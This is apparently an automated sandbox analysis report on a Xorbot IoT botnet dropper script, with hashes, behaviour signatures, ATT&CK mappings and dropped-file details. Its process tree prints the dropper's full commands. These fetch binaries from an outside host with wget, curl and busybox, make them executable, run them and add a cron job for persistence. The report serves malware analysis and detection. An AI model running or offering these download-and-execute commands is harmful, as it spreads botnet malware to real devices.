xorbot | a74e48cd9c641d9d257d89bf075e16eb59eb73ef1d324e9f088f76d0198476b2

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/01/2025, 22:07

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General

Target
bins.sh
Size 10KB
Sample250119-11mamsymgr
SHA256 a74e48cd9c641d9d257d89bf075e16eb59eb73ef1d324e9f088f76d0198476b2
MD5 e98f0df23f1c51145ead577d6931998f
SHA1 4406988ad4c371120180fa512b3aa04329024a18
SHA512 d31fc31bac75ef5372a0422482687e043ef92656e8bbedae2f4f947e1a14db0ecc66603fd325d04fbd7c33ffe51f04b33e03b1f2ac8c9a4219883b1c6b3b5c34
SSDEEP 192:iCGHrVtUbXOJQBjDO1pbebfjuZ59PFwjDO1pefjuZ5aVtUbXrCGA:c3aBjDO1pbebfjuZ599wjDO1pefjuZ5y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1527) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
860	chmod
868	chmod
734	chmod
753	chmod
795	chmod
817	chmod
844	chmod
852	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju	735	COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
/tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed	754	wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
/tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv	796	kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
/tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn	818	H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
/tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A	845	RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
/tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ	853	pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
/tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls	861	dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
/tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX	869	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX

Renames itself 1 IoCs

pid	Process
870	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.l94lp0	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/955/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1015/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1080/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/17/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/314/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/973/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1064/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/896/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/959/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/665/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/966/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/997/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/5/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/18/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/372/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/377/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/700/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/913/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/958/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/979/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1021/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1038/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/320/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/879/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/893/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/945/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/167/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/944/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/977/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/961/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1012/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1051/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1070/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1076/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/12/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/878/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/926/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/902/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/976/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/994/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/36/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/705/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/889/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1066/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/935/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/943/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1060/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/922/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/938/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/74/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/887/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/894/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/923/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1019/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/699/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/371/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/668/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/934/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/1026/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
File opened for reading	/proc/23/cmdline	WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX

System Network Configuration Discovery 1 TTPs 25 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
799	wget
800	curl
837	curl
857	curl
865	curl
710	wget
747	busybox
810	busybox
859	busybox
867	busybox
738	wget
823	wget
843	busybox
848	wget
849	curl
864	wget
733	busybox
739	curl
759	wget
773	curl
794	busybox
851	busybox
856	wget
879	wget
729	curl

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls	curl
File opened for modification	/tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed	curl
File opened for modification	/tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn	busybox
File opened for modification	/tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ	curl
File opened for modification	/tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn	wget
File opened for modification	/tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn	curl
File opened for modification	/tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ	busybox
File opened for modification	/tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls	busybox
File opened for modification	/tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX	wget
File opened for modification	/tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju	curl
File opened for modification	/tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv	wget
File opened for modification	/tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv	busybox
File opened for modification	/tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A	curl
File opened for modification	/tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX	curl
File opened for modification	/tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX	busybox
File opened for modification	/tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju	busybox
File opened for modification	/tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed	wget
File opened for modification	/tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A	wget
File opened for modification	/tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A	busybox
File opened for modification	/tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ	wget
File opened for modification	/tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls	wget
File opened for modification	/tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju	wget
File opened for modification	/tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed	busybox
File opened for modification	/tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  ./COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
  2⤵
  PID:737
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  ./wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  ./kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
  2⤵
  PID:798
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  ./H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
  2⤵
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/chmod
  chmod 777 RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  ./RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  ./pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  ./dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  ./WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:869
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:871
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:872
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:873
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:874
- /bin/rm
  rm WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3pFb62JNNhfS23970XNkL2QjBn4JreSsrr
  2⤵
  - System Network Configuration Discovery
  PID:879

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju

Path /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn

Path /tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A

Path /tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX

Path /tmp/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls

Path /tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv

Path /tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ

Path /tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed

Path /tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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tmp.l94lp0

Path /var/spool/cron/crontabs/tmp.l94lp0
Size 210B
SHA256 38e090f258af9c79506f4846e15f7f6cabe38ee50b913dc91ad1d301040e640c
MD5 c740292c8b6d4f61cab858d8e82e1589
SHA1 d3e837a4332b30143fba264e9e7330586c7132e5
SHA512 6764d904603dd341b9b92107f53aeea84fedc1b15e038c2dae5e2f89bd3d11a011e2f380c4b4d2a1b818e10cfed77da45e42ddbbe872e0db0017281ecdde8f4c
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads